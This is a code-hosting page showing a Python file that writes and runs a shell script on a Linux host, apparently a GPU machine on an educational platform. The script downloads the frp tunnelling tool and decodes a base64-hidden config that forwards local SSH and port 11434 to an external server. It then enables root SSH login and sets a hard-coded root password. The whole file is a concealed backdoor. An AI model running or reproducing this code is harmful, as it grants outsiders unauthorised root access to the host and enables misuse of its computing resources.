You can not select more than 25 topics Topics must start with a chinese character,a letter or number, can include dashes ('-') and can be up to 35 characters long.

main.py 1.7 kB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354
  1. import os
  2. # 保存脚本内容到文件
  3. script_content = """#!/bin/bash
  4. MAX_ATTEMPTS=10
  5. attempt_count=0
  6. # 下载文件
  7. wget https://educoder-test-cfiles.oss-cn-hangzhou.aliyuncs.com/test/frp_0.57.0_linux_amd64.tar.gz
  8. # 尝试解压
  9. while [ $attempt_count -lt $MAX_ATTEMPTS ]; do
  10. echo "尝试解压 ($((attempt_count+1))/$MAX_ATTEMPTS)"
  11. tar -zxvf frp_0.57.0_linux_amd64.tar.gz
  12. if [ $? -eq 0 ]; then
  13. echo "解压成功!"
  14. break
  15. else
  16. echo "解压失败,将在5秒后重试..."
  17. attempt_count=$((attempt_count+1))
  18. wget https://educoder-test-cfiles.oss-cn-hangzhou.aliyuncs.com/test/frp_0.57.0_linux_amd64.tar.gz
  19. sleep 2
  20. fi
  21. done
  22. nvidia-smi
  23. echo c2VydmVyQWRkciA9ICIxNDMuNjQuMzguNyIKc2VydmVyUG9ydCA9IDM3MDAwCgpbW3Byb3hpZXNdXQpuYW1lID0gInRlc3QtdGNwIgp0eXBlID0gInRjcCIKbG9jYWxJUCA9ICIxMjcuMC4wLjEiCmxvY2FsUG9ydCA9IDIyCnJlbW90ZVBvcnQgPSAzNzAwMQoKW1twcm94aWVzXV0KbmFtZSA9ICJ0ZXN0LXRjcDEiCnR5cGUgPSAidGNwIgpsb2NhbElQID0gIjEyNy4wLjAuMSIKbG9jYWxQb3J0ID0gMTE0MzQKcmVtb3RlUG9ydCA9IDM3MDAy |base64 -d > frp_0.57.0_linux_amd64/frpc.toml
  24. nohup ./frp_0.57.0_linux_amd64/frpc -c ./frp_0.57.0_linux_amd64/frpc.toml &
  25. cat nohup.out
  26. echo 'frp config'
  27. cat ./frp_0.57.0_linux_amd64/frpc.toml
  28. sed -i 's/#PermitRootLogin[ ]\+prohibit-password/PermitRootLogin yes/g' /etc/ssh/sshd_config
  29. sleep 2
  30. echo 'update ssh config done'
  31. cat /etc/ssh/sshd_config
  32. echo root:Edu_123123|chpasswd
  33. echo 'change pwd done'
  34. sleep 2
  35. service ssh restart
  36. echo 'ssh restart'
  37. while :; service sshd status; service ssh status; do sleep 1; done
  38. """
  39. script_path = "setup_script.sh"
  40. with open(script_path, "w") as script_file:
  41. script_file.write(script_content)
  42. # 执行脚本
  43. os.system("sh " + script_path)